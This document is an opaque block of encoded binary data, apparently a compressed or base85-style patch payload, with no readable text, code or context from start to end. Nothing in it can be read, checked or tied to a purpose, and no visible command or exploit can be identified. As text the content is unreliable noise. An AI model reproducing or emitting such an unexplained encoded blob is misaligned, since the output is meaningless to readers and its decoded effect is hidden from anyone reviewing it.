zd!-tqq#CJ0jkS?Ef0!(yd8pu=3{I&qzNJmQI$lei8V9Lwgm4^&GSaHy#PM(#X);WQ zbC4L`c0yWe7|wEfIQ+R29bt|qr+9Ri*Jq`oJ;08utw zb|bEXEtaiYO}6fJvD{|!z^U3S+Dy^X7DY!KW?cJ`L)uGWq{$9;zmt>tTd-b|vy0P$ zE0tc{5@TSx^kGxzWnDmG2nLb{p7=oIjEAbRfm5DFxLl2pP$b zut%h8A9prFNf=J)yMxjrQ-tr{55p-v@|@(HDdr5H2d6)$9p~S2s3SESSXC{`>Jbh_ zIAfdB#1@1Se9B(*j;oH5tQ={yS^+sSa5lVNQL z!);E6&%vO)mSi^48qB%~4My9^HO#ZnN-Fp^k)HuMf?JL{jlDHQkqu6UCLs*HoeUR0 zwrOgZFKSg{NR>SxJ6#b!(a|tJgfQ%427JNtf;9!i2!6~(Och!uBd5_lV(0S-o3UUPV4ml-F zumeS#H8s#A0vZCcQ<3V<`VWRMc%2L#?E+%V&*3uZy_-qEWgth;^kyf}5p;iLat-q_ z4Rq=pfPMlw0??)79nCNuoKBmTvm_3TQITQ3b_T|ykvU&sJbH%JDKb;LaSpBOg=jU# zDenk6vQzCPPKF;t7|uBjp9u!#!5H%@_+K`~+_UiD7?AtfzPE(Wy$!)9S7tnc@A~-@ zA9K~kS8B>!#p$>jxYuN+^rsY#-#)l?2To>6FE9^z9Ly-}A&D9EO9h?y094tP`L_vh%dGYR;Z3O>OLKs@8Q8()~|8cknpspi7RT(HrQt5yk4tBIekF{R~= zaOk6t@cQdE?uYLaPJ~N+_?n=1OYRJO53t{wm{|H6u#iGG?A?Z)htF zj;E*O!LA&95wq}n{^CgCGqD37CTtQ?x}OZJwF2hRA2zNQeFHIWLS1};@hqOaA+d!K!sm1nZNFdZ#?4DVLABbdE+w_e*9g;eK^DimAzj57L@+X?p=sUk> z&5yg%6HcyJ$Y1luCqyS13p~jfr5Ou0;mbvCe}jAR|JF4lTA>W%Bh>pA?-E9hW+p@d zJ|YNp#P^a&pI*=$-*5KEC4J69@D=0C!dUv$=F#cgZJvhk?C26R3BoZY)E}?FxeLdU z@`Z2hfB6>gwd><)r;!E$i(;XJ!5jM3u3J)D9t{z1A0{syB@?hB{7AF9uQIXq%2F& zdh&OqXnh69_e=7L3{>f1!@C;9YbEh#5M?`Bjo`Y#_aVX3K(frWvHT4f{{E6J{(Qes z1b+0FjKEdqfWIjMbKjs((ND**+gsvWZH)ea{ajfKtIbM==R&|Te9)K-?x6)_ieSn@ zG_?;z)56pLE}&RHe8SszlJc_*Gi&_?_StPx=5M#+gUxU0_Hy}3T;%S`$}D49$*=}c z?`p|97pzuq_y%Q(vTPESxo!SZ`6W4RSB}4V`lr;Fe{%b_o9~{ghWzPUWfbJW0RjK= zt+Ck;G;~|@S~w3LyNgTlttGR&BxI3S{fYIaw~z9e_{`{8bchiscyvnpsP56_W+L?H zygRqGcULZbpZYZvlSlu#g}zVi`;|Xreu4mV&~Tl158MuaB+F0t;_{^J4{6W!Cslh+ zfilqU1!~WqaeQ+v-)dY)N(R3Mk>@@UA`2l>22y6>XzDCk-m=_O*@zj&f`8eHAq`mj zyuE)x^6OIaC1h*?S!1(Dw+DR`RfOn{6V;;9^Klz*6#RgmIH*VZlW}yChm-WD`0yz@ z908VrE=ah7-Fd>CoetYLoXiHI>;1#BPiSvih2UxTB5L9bTE@sDlr8ZL`6&|VX6SX8 z`!z=N7c3%8Xa~cn^iQ~;KPF_;Kjp(mF&~ot5gmGofuQaH6fQD`7ccPRyTeq} z5=9g~$MB1kUx1Zal2TVv;?RoxA|>)F;^H=h3*CR0n!RyERSqICs}H4bKQ8b-k$7wE z#Kn^MEr>SAQ}DiktR*4erCK82?=%Z!t=Nvixsom+aW`M6>h3*Y6cm92)TcnD z@*@C4$Yw=n6_gBYXT2h**`Q__OM!VJ$9K?N8(_-uKShj2!5!dpjnIt?SDQc+H*MC99&sdRk1;SFF0}0Bq1vwFcAHnJbeYH*71v&h@FkLHws3eX=y)| zJ78q`Zb}ISFCjG2KWAzIV!%_`&G6>P2)gf>Z1$T_AeucDMbw6s_$4iyDoR61sRzf} z+URb?rf8$5a70y(Lau7|@}mOp3yHVcPFx|0OF*w3y-;JQ=ID45AAoJ4%!9A9Yi(Rtwe z>JZ-uq5>&q@QXlNPktFld9f&c9c7b(EDEZoZ1ls3iu7~%V|b(J;st;j03c*9eE?F# z(t$rk+yBNSG}O=BICb400vfMGqjB=!18AhK8zSBTSB$!xk!Y|Y;NFvPj{=V3Y^0*R zE-9~qVvD2sXlxNj>u^L>?n4z7npv_|U5VGxPHZKK$xg^86y#tD8AY`Mp?R`GSiBCk zN#1^RO-0-$iAM;UGt%oHAR`sL2q#;Mz-e!fVlWH)L6G*#`j1NRk&5!Vq`V4>-G0P@ zv>!)oKk0*JFQv5|j%2zC#hEo>>5AeP)29w4ETSV*}JtL=9*=R8sGe+Tv9TP3$d+ zxui8azH99wVv<4{GJ?v=H=OT0mLVt+~OYz))m`EZvJ?ADVjm~uR0X*ZM{GaUQufPQwI$@$c4DF=wgXW# z{hsk`|7o%x?eDPvP{4i=r2Qyj`+>vuE6Nf{nFos9{tn81sq8pZ(e}$)-6h^2JF&kc z_HjZ^RgepD#P(AyWxuRdTS8uKCnic_I}nBaTgI{df0O+P0*Cz={Bk-e2SM78BC>x2 za5%rM0tqRyBT%eo0AjCS%=IxMpQ7r&C+k0o`lR_tMR{FPUIoSGzxme({I?EAROLQY zQU1%4wbBFn+(6WTD_TnGG5k{1Ms{LtNv!4+*i8w1hy}v97vF`8yoG8$s4n^djVN&8}it>@9j01(Y&=7YVKVKKH?=X%?$yZTD+4q#J)lTB|v=iNu znBj!XSCA7VWHQwXIHkUQ zsB)hqr&E=hLdtYm)*59(aUtcb#oEu4+Sk^I6f)+og8Y)KUC|bZ3lMRzrMoQKPGz5p zvevR}1(m%m%0@}(*;LjHgJ{&PM49!IINndk%W=%}mtI1!h0hdO`(@OI-rT{gCq>Qb zlJ)>0CkttZ-xjUx68wRPwbDeDF0x89L59DD8%~<6*Koh69V2T80&FYD*3y&U5wq2v zVw#(ZS)Eso9|YuAvVR1+*)##SRw^_98b?f+1%fJC6ziKHmz`(#;1Dr+P7PD=xup)75S2n6%*KbU{S7&JtQ@Y6cU zcMkOeZZ|gwzK6j_iDHkS1zc=?1G4qO3C8+L)?W-Bdr-e6AZAMPM<84MM3tvy*(fTz z7i9|AyGP{H?!SwCy5P8t*k2O+fG9Kd`=ICeQC^B{Y+YY2_G97SU8#9b^k%sc)6p3^OjU6MNH6+)c{v z^c^-Q^U>L=#4NnSW9309A$tLrmzr-vbGkhIaV$XjSW?D=;;DQUHpD=A!@CL`u;hT$ z_9AiSi;CRmdkxVj~c_ z?Rp59BEZ0${`3QPS}kk|;rspU*6h)Own5NTI7|ZB`cB*F%puY64ehFl&3pC-uoWL;`3y4?1W4$R= z52(_F?4hx+aPqA?h5K)Wv$=uMF?82$DybHJsd4JqiLsJ+0l!@J2xbZpV)u;V*vO$D z#KwjcVQfHwNqeEdcQ87go{8o@k-nbdvw&ts)2Gv+_fHI1RJcsuAr$N{4p{KXNX~zR^bt(~1X5~!$@wdO$sOJ7 zy8OLeD0&1$c1Lrn{}ysgdLsmrQScU=m!3p@yL);=D)Gip{eWM-ll6y5@Ix46DdI#) zECNv)x*Bu~yJu;pS0&R;5@EU>p{FF?6;N*^sIYaN7eSH+n81VQ=Smv6qj#*KofD%d z;@0HR!)^NKUXw?Uqv@ZOg0T8`HU5MQ1nvO%mcn8|GX!ovbg=i6&6FG5G&aTLXKu&9 z{Yndz5E}`nKKbzPU~4K11O8h@aTOoLnMZ(UFbFh116iyGuhi**-fCe%D7)-&kmea6DLTfdc0U$d^EE=+S0%W7Ux2p?5T}u6K5&Np|X}3Rp#T<6m2`tPI4vxLiUFe32wF}+xKG^8TN#RV^ z^^YWW$rMx>ouyrJGOSB(6fO}pXK~G(8&gJS!6ofpB%uM9{OvA$z~PcSFbkIqgG;# zxhVHB&$*=BX9UxnxZEU;^abPV*&{uzMCD8OM8wjKOfIL6P_5>QVrq$sLqh*z>Twl2 z6@M{x%Zf66j)0Gid0!IRi^Q>RoQ6b^Vi)xt{$$-I~K2mJ!WiU8VYzStBkBozD@8b z77d}tN2Qgp2W|kbyRT(K*vs)iQ>8?CWE zx0ZBBzoJFGP*jz;ieKg7bzpC8C*-(Od#b8VcZ)@bcr^k4C%b*!&bZ zhZ#8Ri7_WiI}OD8m$))g&DRZjNGT}$jzGCgthi9?>w@hAZ#D*jp1So9rA9$`+!Fkv zFqTG!zPJ~}*&*~doF(B*c}jSU`x{Jj6~-5tpKPY9_D=eK$o-qDMR6>1=c2`91u#4+ zD!{)e11FiSOWj-dxwoEk`!<^+bmhx}D%;vOP@ih_&@~Qjbc$2!}rYl4_zA-v)xM72%%%|8$6y{9kJR$0G9oT&DPkYW{0O_+33+ z59l!hJpRZx?J)?5`}ynkQA;ToxO~`|W20{?Ez3Q#)y2cfyiU~zHB38=alg9EyB>9M z{xKFLWcO`QltWXce7}knk7;FDX-8;%3hrOA*yJfpd9I4a7DJwW!?*79l-6+f-I5)> zEvw+bkiD%}5%XzxG?wL}XWTh{8(TXwC0x zT4Lj0RZueIcbYR9{3Axq7ke2ar=q>7DN8MWe=G^^2A%rne6YB&I@X`K7+vXp6bNPPpS%8djHQj>-LNmFx z9!)FzuZ;w+8w+Y;;DmuvNwuubM~wm#DbiT5#aK{Qy02!fb?)d*);7wT|F->up)I4p z9}4{%6(!+%ChTK9VqA*?MjBbZ&91F`@yBCDgMaiZN|;__qssyy}sJfd{=3n&ERn~Umh+X>Rr0y)&{zVpb%)c zP+%l_%99Fnyiw-%^(qF&NJ0EGLr@oK>WfUpE;47a3odQJW`2#EMVk!lQdou0UnRoE zdm#j$!!3-TXb#p0ZGm8Q6I^w`)mC%eqq(XR7e*LT-x{oMMID4~A|L~5C+iB^%Bn>b z=1ju-y}GOvW!4VpC*pqjDs~(jjkw>>rm%A-f>F2~?=dEsmZrSP6uZ6OJAFD-!S{8- z7if^q0rMJ2K=HT|6p18e5pIbO>y`W?~7$jq`Mrj)= z;~`D0XO}@c+nG61#_d8zEhXdC6;3-Y)hKJ%g!t-j24*Y20@cw?9>U$YErdUVL=iCw z!i>xC(2O$WT#eCBO7JKCx!lnm{hFt%kVAR&MyG^KCE*)kL_osbx^}FRP}?ct8qHI_ znk^v-+b}0(vtb{ey$c(1oDz;OEc@Y8)D}FgoD#}3&znMmz9O`9%6U!6IUq0smUuNr z7bPd7)ZwcqG*81|Ijiu1(PmG5CFc!+5$MH@HO7`zu*X=o-fXSQmZHqs2JZ_)Z*^8C z|4}N#B1TwwHPK*P!61JTZ@TWM}n91x~h~=(76>jX?{1JOOlLh8?lVT5b5^q#)}TQto)G#&%q?zs(o$##lY-^ zFBye~g6(aNM1tF-dA#81?kjiG63DY=4JoBDZ4`IfDqtxDaP$Xm%s_7(s{t~Vki#}> zA>=vDlN@5sQf>>wdz|(dJ8fObf_}yAKyxyOM;+|iL3ox)W`9LHVx6{5p_*v3M}@FJ z8v2JNu+{TQ0}$`JOKVx^NeL4yMNm`gX67$pmu+Kufv$yaJ)vzmXc_&A_rK5 zH1(Pg8D;FG_kdktXR+vn=CekiksDUhd^IGr&{bKV@P=rfwyBt+5gxn-3zE>|*Q zSVoAVS81@#%cP<;b=eOnvwo(h;cV?vtOmE|hCM8w%^U|#VzRYbiKY$&)wd&Gd;r3C z)>B@sw4%;tv$Q;})(%`gdg7t1&AojC0uwg~fq@S4qDH)$c|)9KL^Qsy8m=!KEwMf7SN;r%u{?nIQi;Hz9ifc zg0GPIsN=uKe7nh8?$RR(NI29!2zTTg8Y_9(I(BRqD9I`4WnI<+WjeilfybiMn~#a! z+?=IQ5}VE5(@CtoMmX?8pgY$lRb;C{avjZ60v;`;tCW&O8#bP{mciX3XOubHXdOG1 zRUfW|G`9r~gnXuX9$_APUpwn;1d0ujlgk&8rrMl78YNMnprvjiNxG%R;OQj!riN&# zS`0?lNZjDZn73$zt=}Wk4@0!=1~N&L=M#B7lPMmykt$kB3znjK-82PriQL3t8|%kT zc@{__sEQN_-wN)qLqG;Hz^pDlTKwB$~Z457|p$2BfJU4nqRXrNdnN{y-s&Hq4C z3OAit=+x*0tHHkbjDZ}(q^+7dT8I(x!FOS&rFZg#3{OBt;tSuAjQzN=r9@EC4jBNk zp6&Y$NdTc<&y|0m>Q+217^umMG8gG;As; zIljFZQ(uRB=Tx)1#-aL!@iWaUbkRl>S%;vjaKLeZ*_(ux6p&F!*fYRMOtx|27EK++ zRN1H50e?GNYlM<9CP>B@jp7QG@uH?)ZI{9Q=N+evCIK0VquI$Ajf?xx)*56F9-pwS ziLpYDz@R2h^DJf_dxC1^6!aZV1xV6-?J#7y5>}D@H4q?t{liW?&3XUeiUfRa2p7Ln zbCG7d3vAX?!1L|EFctGa%$vWDK01Wa1-_g_l{TSLfv$8pDd>;;bRMS7F5b(oAHeU39=CS*s2OeeH64or73XlokIs_GKkQbDo zOPzwoYo6>7L4RObp-oVx5_ByI^4Tw=-@`_I8NEfLo?0L;qiuBA?sHm}q?Lmg7iWAzS6;g6-9wuZ128WL1v zDV&u9BS|#U8yY8#WclM3LlCv|e>CMXP^@be(nM0l;g!$eC+(G1y5{chq*of~vNDuu zuiPp1rPn**m9?}=k;a0F*RjDB@wSNC$lhSb6aWONws;MubTPQX*gUt6+xUJh-(N7q6^@@*%Uw_SLN4rg;Z4FJBg=t*;NE`eE=kJ5`%~vC%EMn&3I}a zH3*G-Fi9J2W@^e#P^{y$(2>XZ4+{v+0CZ<|4iaS6pUoJKG5&9w`VOd=-vO^V5-VS9 z9d?`oABLw>_KU_OUH#rr@Zp-;0aQ+keDi>eSQ!(~yCgW(M1@YmOx`h*Z8h6#KHtCBYShSwz^qqmZ=I!H!8jdEqE47a9UoXe)zWPBuL z+>K}LkWqzjfL48lguoh{Rksmmsz%$l!2ngr>(RCB%x&LIC! z(bNZ+Y9Cyjayq{U%OD1MtA3x;kW@j(tyvdpf4(*2;e8?2iBP|N9wTMMdriexU-5C@ z>&tv9p2{I!H1@N?rof1(f;DA_O!+3bbKT-p`XdIR`^6aqqLn(mTPQUf7egrZD)Z4D z`$at1wBOQqG&E_+~lz{`pPV-Av%UuK2u)j~n9`=2Ljo z)=DvE*ye1l>lDz(Vv8jV99S{G6R36wP;V!Yg;TmIii5M|x{$M`ITJy?fM(MCjeCDd z!-|>afmzh{90nhJ4e|t@XtVongtYZ@+=#(T&|)Yw_NR6RR_!mRarq$(F(|POnfeF@bhT$yL^IHmoesWE;0y20YEBysEphW< zn)le}1Ud!mq+)3Z4>9TK4Wrl$@VDGn@C@OoMmEQ#&OJ1H*R1fS;M{6jF+VTtZ-VzWHVq#^bZM{tbkfSxS8XB`xc(A(aUg4p(uz?q4u+b0NMCHf&>R|bIBU%OKPdq!F-txht&J*UylgiDRdMCH5 z16vCge1VG6>$G>C?|TnjF~#~hu^phRw~KZtj54ob6?6Z9lIG($#ujR8jM2>@5)MW4 z8gG{Y4B}sbc#>UP%NF~OVf(Q!1CqVG>(Bq%-qwp%{NhB!=ztcE=-{0UrRrimS~p`s zX7i|<`{g!#v(wG5C%*l&k&=4*~KC0g0XM%!=bc{Y|hSzc}M{ z&vX&5r)S{SbXjFTZ;8uSIpq0%aP{y9fODx-?K6PLNU&}4_U{9i-xpr=sj&ARfL447 z9U<<_u!a!#m89HAl(BNXYvPBpv?*CK2>x-d&kn5M6??tKON$QR7kk&eEOu`@Jx$nI zkL+A{oa}S?jt_nsGE*7-thwTt%|z~+S=hhyznl0wy zn!O>WVuH>e_O+?$^OpAz_pj33wz#CF}F{|~<`M~uC>+YW*seNPfk@c(af@NGZ zH9FR~^3p+FNxW|ZQ?3QSiZ|>Hs9CHxvA+&DYJ;QVV4(d@VK=>s?ScKI{E3I?e2qR| zL+1AFp3X<<^L(6Jxzuy%{ZX+QqV=RaSNj_l=8F;4df#?jJmlNp z1KS7Q2Vam+ot`)L^cUpwhMgJl`1MrYkoz27(Grwj&vHO+l)Y*_sz~txr_>Wp ziOS=PAiXOjc5Eg8Dj3@CrXru-pS30nL-K*d`3q$)N%R*`R`Je%z2H78JCW56%@)WA zv=`?@iQSyAe?b;Q*;}&g5-Q_e2yE;5)%yJPA|G7%L^RdUQ#ch6$@92t~E8r~J zE7aUBnPv;7J4I=!EZvFHOn~ zQ0$^o#~3**mfj~;Y1SO7V6G6`p;R|UF2bxUw0>N|^i(j770adAn1Ent1WG}99l`J| zK8-ru-qpF?fY4YXG!O_>fwC0LZHh{2E0s3^1_SUWUsq^n(tapKA|L0kqz0m`V3E)> z^ezEgKNcOOVv-oTuBNfp$VY|w)jxvgXg!*#l0_l!r{S&2o%LUPx4J|+WQ*~T-Qo;d z!RAlw!u{Ja(;!UQ2ZuBj zw5Kzb8wJM^JPP3VbL`+v)OXODn+^#Fb9@1)gjR-O15-(!3vv*gcQ-~e&Z~p94n;a& z2;E11D7^6|yn?HbQ7{9u=}L`WLe9NXPIizQok1?bn{+BpRYe0`!g|;tPtjsvn}t1T z$%5wy*|xvHDH*=MA3RUK>pzj~XWtE@PUcTsCmEIsh9CHp8F~wb&m_YnFhHd0q<&ll ztuG)oFvv0sKM_UqqpIvnD$g3`xPqa@yj>Zo{*Zu1#D}w zu;4ve){e>^6btlymYf6D$b z_W;`}T68*=i&@JMfDpDyG8BQqnkmX=%Ca}8Yy!%(eNRc!6GVDLun&@D-KnfUvn%_0 zN?ICdXsyNXtJc~`>oxs}S4oBh!C>$yx7Ih5=j@?FBOP;g)!1FrlshB+TzKF?V6M~Y{$eOX7 z5?f%iL<+&BRCTAl>i4qhcvLMYA(1j$h&Q6luPH7*ry7Cl)?2d1e^d=g!CU3HnwYQA z!b8W-9JW#T{}!<@HlF*iWyV8en^xupTE&I2nd~D+_J-y#+72-&haEx@O=n{=1Nl@y z%mak=m%VGxc~7|U3s}fm?KjwC7d~9n40O-|5KiQPXZnC_?L)S<*SU!t*bnmUoVOtb zTKCApKzdH2!kba30F$Ibmjx7hTq+chc$8Ls;o}V)!j}1axljmPXzrcnMv$$;j`1G2 z=Sl9l;I{4;mkdAoGmu}vvr+Q+iRTL-sO=vL$IJW&-Eg7viE%_dXoPA@X{R~FSx;1x zG4L;@<uyH@Yfz^Qy-w!UjD?r{}-Y86ZaPhAp?kg zgBZ1y$+F&5_J+7hkUq?`L_6&8=*G4`kNyHPM)Tpk{h^?QJqG?$HF&LPbo0gvr|mS(q7J&R~s zAja+6nu|Lc`c{v+zs&KKF1`lD9L%-167#v2-AaFrBvM3fvX>j+L$859L_vkO1}dFmQP>yP+CQrQd{h3KU`nyR9rvL2>6b11H1v zE_UY$Gx|4jr`T`M{EJq5;ROGh6S=N-OES z*(m4<4*teLhOyuXiaT#J3L2s;s{mVWe2Hqxj<&*%7SfK!PCLxHAVW01t+HT^G3rZd z5NwRbsg6EUk@|@6@u6RNN+Q#?Q~&04uM02N&V_5t;B!GpbUTA4?7p09H8o*J4ORXZZY&IJ=fA(4D~CL@t^;v*gVKb9g05i;;*~q6Pnf7y0`+N zZLZpWKFk(Evxx;;2-&s{DjZ2&8DFYuh+!&WiWb7Xcmc|RjopNN1u2z$7I6Aa(nUYecG15<~qASO^q^#z?qKCb)KGFk2lvLS0k#E zAF&=Fe^Yx?`^|+LW%~_FF`Vs3yW1=#hHT$jG};TGn_po1+qt)l&ZodTOIvpgj>k;+ z#<`euDl3c~eM;?8;yD*RutugYpB{x_qn4uJ{ZG_>Ef}o*AN#c=mU8dISGdftXeATY zWAdQhu~*A+UW?PM5va5sKK5Us@4nqZ7fP{%%j4oO1Eqga|G*9|YSR{ZKNGAUSRX=% z^VEH1N@^4~hKajoD(}ydLOs$Kw;QEkX(7(W;!IgCx=l`DcFpd1!qzUQ@RGC=SLb_c z4s2A>Qukl1q>s&s-rV_~nz;?IHG;1+r*qjWhh3}LTRGUIV0BcqyD(bCyX!&64jrA` zo}o1nI&`V&?pu>P&|R4R=!#T4WImFWb^y-@-GwpPr3bOG%!#`SJG3%?*oHV*P!oGQ z6qMyAVdcHCw9M_hKc!XGc6T9uMpvWVBe01?LD|3qIldFP?Kk&glGH`dkFBc2N0(K@ zobKt|mM+iA=q%sCoSUAj`N~JG)it7u;R5XLu(FfrptS#o>+uy34`OuJ!pv4REA~R4 z&i5o36R=@Vp#R#QzxIM7AGpPc@@>WE=F+xQTuSpZ&<0yZB;=plftbuq>)dGI5%M?K zDDAL!pk-l$1hY2Oq_6n(3Mjzyb?|=z``?X*z{TVt^8fXA|6_l&=yjbRu9=%m{$HNc zdEG0AeLG6cdYBxfjoYrE#;Ev=_IfI;F9n*DFo9h0uJ8BKV>LW~7@jI4H_lU4XW-Ai zoy4&^GbJmEUz@FAc>6=~9DE5U6{VS}+5YYg%o~43HuB<9u#!1ZmY7|<;Yab$@XkSB zAwI5P)&?_wM{gA~yGqR%uCORj!G)Ps!#l%KY1`KGRd`t#&#<|Y;hhgM<7InRHORp& z#XN8zBVL$852Y<$!-cgDXmF%`w+}PV<_XLs<6V!c#Qyvu4_g0m@kUQoVoyHUS(Vrw z2YivB{j9OKM)sL#| zT>?&*KLZcoHi7k5t203JiR=Qq+Q6h`bkB%4VdO3}E*>&fw7~vm*mPy!OvEU{6Zv=< zw60o`Onfxzaq%dp=?SovMrU^3ocoJw5kT?H`s(gACB&P(b#FFpV&XZMfv4P+O;6@F z%)w4;o84Q@OyB0#n~C1^Y<8{EOy7>QE!}-J&zy4k#GYp^&-v&FLpJ(bA=@$n(CsoKJIW>1Y@QGj{N6K19^*@=?CrcJbh zhyqOA9|-)k652)SC(rq$!ENY{guGyG#>L-Vm{HSM7~jkM8ESKPTyFaQJsyROnQzA{ z(0HByJsvd>rrB-!b~4cR!-cy_;=#2cVR+_k(|rM?q!2W5*k>@v{Ft9^TlA zGF^7OOpSMT#J{n(RVJ<}zB2RFCY!aVp^~(AW*D^p8ZUTdHp-l8N1Uz^9}0u`U*eDQ zlzERG?|zL}>tEruL_DW$F=OpuH8j}w`A+AB?+&xzS=j1~_FF6Ql>dLUy?LCE)%!m_gR$qOEXg`DNg_+KgqRu(Ci@mbSt2TG zY+1*=1}_>Eg_Na)B3qH&j5WKgSt_#Kx3O2UWq!}=oO7LXzh3t}y+6OlSN)M|?)$o) z=Q_{pI@dY(xtG@n@v*bmX$`}-)x*cjevf|YFe&fA=hxx_7fB!2m10R4qMl0XXJVeZ z7#DsqI_aj*-wG+TmfW=ITGiCMxa2p*_tsvf&$nT|L;KkqV#bM~A5P}x@k1J@3qVtoIQfx+{;lp#p5_hlH_>eVZO(O~*9_rWc=o`iFEg5|8eE4588qdz`smrUhwW zzh1x6VjA5M-&@05Xst43vfD^yKggi1fJWl?jH5Sz7V*I~e2eUS^uhCi)ab-3_!b!n zC2wNYof)56!{UbsxNP{#p#NJ%|D&JUkFV5WwNAg73<&wLyANH$!aK}TW1LEO<|A)^%z>VKk<8yySht@j!d?xzf8R~Ny`g|t3tYnQBAFCy7`S`Q7^$+l@Ic893Y(uV%IokpvRbzzv+`V3kl;RaUT@lkd0 zYirAZP16xsEfH3&qUx$;LNn`IWBEEPsY0gOzQofbtnbX3Se%JYOh;ZP0u2%pdlj~8 zk=V=dj~+112;Mzl8XBbgLxKm)UfjtL1LjKrivcqW0&rh(;@;ZfiF;i*EC%Ad5ZrBy z`zYh)6SzGl*)&GA$1}Z=ryAtA5ad3LT!xXOq{s7}xb+E_>PFxOmyMSU=B@V)3kknd z_N88ou$D7&PF%l%i&Y3(n6KW?_RBz~q?Osrc`CCu@dC2)QqI&X#pzp%$j^E;E=2o2 z-kNwnQ-kC_h*P4$`s*=_bzC|bg1H-0kDAxZNKel2| zME%l-ZFN%sjvl^dPzrkXkiJ7_ars?wQZi>+i+QVKhvNWFz5@|`?wJFKag^2 zf8Dk|@5mCt?pC9Oq zDvyZSjJ$18Fe^0)nL0?w$G5tWkHS&K$OoRt^%=R9^jVL!({yW*t}Y09q#JpdL9XnH z9EW{K!NxZ1Y6>!Zi|^$FP>!#W22&v%`Eb1lt-&q0X{X+pC$T|hK~07e=TI%kNL;)#A54l7nZaiCL% z++^IU^Mm=gj^JwCN#3{tgZn}V?p|hNp7d8|9{t9d#;xv+Tgl*_@8`uv7@pq|Y;;?$ z*ysWQY|t}2;KbeMYW0FPM+h=+GLv+9%|ZZscJGxw0qn zB|P{be9jWGiW@`7JhPN`BbPGBKlk-w;|4y`B#>j5C^ljsfQ|Bm%&Vu}8(eJcfTN0y z;X%mE#sWNCB9PlNavO7Vkd)CX6WGm~OM+!+osAXW&oWtqbe!rpMr!6LB3! z7m9W1ag<2wH*`q#ZOYrYT4Wl2fIdB=5=nJb=v&_#)m~7=MO_J>KY-TOCxc7|-Ctt7NSMNW=@p?&@#eR*?-<3Sir$Ea)K)YBK4Cq<> zOoQDOhT7>&r0TArchS1)<5Ji-w_oydww06XT%W%T1VkfY>r>VDRttF+Lmom3R_K;BVsVmkoUV z(iHgUuayYH+Le(nzA+Qt#ZOgKB5_m->KC$SKq_7q!FEO9&+>FUI^mqm$FnrC#2~Mb zbF_7lmsduK=Sx^~)<`1YVqa@6`mJbv1uf|)3{^^UJ7T!ede*7cCP=HD(Rv74(TVqv zTboxqa;vmMzl&AI=>O6iY0yzT?B++xICB1v)t>2a2@NQ}=fKvP4hbBzt(*?2G9Bof ze@q00Y#KphWH>`M#o#t{;F^$S#*;uIWHlMRnna&T=qld{{do`css=snP2;se{|Zm< z2=vwXDLAnZSOKBZiAi=Hf>&!Jf8wuz{P4YlZFsN07P!}+2t?A0y>JWfBnNYb1RVGOHcz)WTp29Z*odJwwilgMU ziO(Mi0k}1txW|9+#61WX6$fKOa0@Z+gpYYNLjdj>oM0BLQG^@3q8(u{t2i)C*k-%eaxBFv!Py8Ws%lTzq>;Ag8?_j9h_`)%6bL!>*O?eAo_W6&FK2 z(W|oGcbJizf)VVW>_aAMPTp4Fh$EJjqPF!m*pZ&tcQ`xB%BvHfzcd7}-QR&soMIM;qju-MoBm#y-bQQOL0nfZUjnIj1i!_sr=ta8@xg&4Er= ze}mX#|8Rvn5(04lzzL1}kvHymgIhNQcR%~Pc#^{X1_E&Dn{Jxp=Lt7Br>hyvOI^K~ z7{JJ*a8E{L-f#$Fy;aAF{VVQ2gkYb5lZuB)p4b=h$tjU{Z_24v*XVO-)VY#NP~gt2 z9%j%hd!k?ZO`&K1PK*Vq- zZZU7%f(CcjYlaWPeVUo5maGVV76Ncf6D~8cb%~3KO>j^#G0=f&3h7VGM1S_UpY(V) zy21s?>g`7EX^@L~BGWgfM9Tg0sq*<4gi0sy{E_{R1Ds~TTngWrb=gb<>$(^^jOzoq zft5_kazP5+{~&z22T7^7c(IF?h45I>(!~>d=Sk&!Wl4)py%mUr-gju_Ms9A9vw9+T zVXv!CRJ2rqfKYZIWUhC2zV%GKKLDxxUeMWaLMbwq19@?f!aWZGxS5@}UwGrrFu2V^ za8I$nzU*xu>1}I5V z)nDN@g82<{ffZ97)swuAuO-w;-2!5U7u!E^TzgIUpmX|iq{ zGci0~A-@j+$VpD*C^vFRgM6feVZk8R{aHosb-qgJB(75IrwQ4yV%+|2=IFksB*4$dwHODH|T{u(GMNvtYf}=O1|GA^z5=ei~8?@p3R`I zYwyguXBc()yUORq5a9D;gz8{q#R4}Y%iySDq(>0ykBk~MS)oQk0P1FhR_F5T1nJJ@ z4hA(ZP`N5mF3)C$PxVu{Cm{g0w-Yy~H*RKwyXuu-+-Z#a%4mh#8Uk?h5iakHFQ4zq z~U7<@oF@wk=wbETN~t@p2*!8`4;E$pE8#_6SAXv-ks-; z+~0syelKcgxG;YAIIR3G)mJf60)kjSrz5z|+CResf2zTc^Tf}}_)VDcMuKsyH)avO z&b+^@nhGDOg7iijI5#I#!qmoOL9v%m!nAv+ZKg2VL=UTrX9M4H>>#IoCHasWl9%D0 zV&V%}V5<>(+_^lIye`2mXKaRp{ z#mWbs`1KjTWM`Eh#UP0M_zj`eIMMmDjD~=So;&_^nd4GTBmwKGz(LVeV6T*rIqeNskz+*+sduSpKZ_hQ0OZG?o zM)f!Op{v>P_RtM$!7hBm^t!doDA$Mb$aO+3Os*GVezsR23%FJMEOms{Otp;7b+p#k zYGwc;0ATycKn)G6lyQ^uF4E{9ZskQlg##)rR`yiXE{6bW%Q}#064~~JJ1I871=aU~ zKsQU5V?Qa>E$=DR6bL{)1ipD{vffjWj#TJt5TEe$cLXD!7^9GnLICpngv`$}KITR) zXpncc^kU)(Mt*LXLaqdX_Qy*&o!&4<=K_~^`V#cDzzsa@nJr9@?o=z6_(hZD zMzMkL0nat#4cUa>!@AJL)a}%Z4_Pz!DC)|{4(he!bVN#1SKaN!a|Zlk3$G5g+NY2& z@yu??nY|7nGj+etcJ=QBd{zCMHbLJ_k-UvY(LMv->cEUO5PzpI|u2 zen)o?Mju1yybdny_Pdlp{<*mqBOkHfE8kKfUk(AuRGyI43d-6&%f-kJII0*K?ul%1 z6yL)=C$Zb~4g??{-0xuIT{rSO206+TdFF1#wSSO89ti=+g9(`{Rv|ZX0fW4=nHL*T z%*G#y3i&DoAeSIyRb;3Xteq(dan3(Kz*)seAE293u$P&5giAplSqgR_tlHn63er&u zx*Np8p8i&0Cf;CwyGnoGA>_SEg#J=^_}d$g~I>d`I;=+S#l~UISXGEC({Kuk{EyMRlW7yW`$g#n{xYU2ypuf$kK!)yOGBkIj$0#=iJ2BGCqZH;mxk1)tpJdr0ba#l|1OfsbdK*or6Tx)N>jc?4zXXLC$*QTfQ z<+abhtbdsJ1++@0wQcph=o!h$(jFFqo;DCbPZ3vZtsSj>y~f#Eo0hV*&FGL~t(|9U 